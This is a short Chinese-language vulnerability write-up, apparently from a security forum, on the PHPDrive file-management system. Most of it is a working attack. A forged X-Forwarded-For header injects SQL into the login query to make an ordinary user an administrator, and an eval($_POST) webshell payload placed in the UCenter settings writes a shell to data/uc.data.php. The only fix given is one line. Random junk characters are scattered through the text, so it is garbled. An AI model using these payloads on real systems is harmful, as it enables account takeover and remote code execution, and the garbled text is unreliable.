PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
: t2 l+ M, J, `( s9 r H% W3 n9 S& D5 n! @5 v3 t
includes/user.lib.php: I$ N' t9 _5 [, r
行87
5 z6 N9 I; A4 \9 M% [ function get_ip() {3 ]! F M% R7 c( o
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
7 n0 N, S- F+ h- B$ A" j在用户注册与登录 处module/disk/account.lead.php$ \$ G o7 Q0 [
198行 + J# [* C3 }# k0 g+ N5 n1 p
//更新本次登录IP和时间
* m7 z1 q% t3 r $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生# t5 Y7 Y0 \3 w& s3 l0 q' j* I
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限$ D6 Z! _2 x7 }: @
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了." q* r% z, H* k" `
后台getshell:2 P! J! g+ S; M
在UCenter设置处,将UC数据库登录名填写为
4 ?; [" |3 O G1 ]$ [' a 7 \' f2 I- v6 L8 a
root’);eval($_POST[DisKill]);?>/*
. A. c6 Q' _2 @0 E可以得到一个shell,位置在 data/uc.data.php7 O9 { S( Y5 x, ^' \* E; X
: t0 }9 O: L" a3 k5 Y
修复:过滤注入* Q8 U8 D* E; `: {2 `' l
. T- j* Z; \1 g) v( K. m |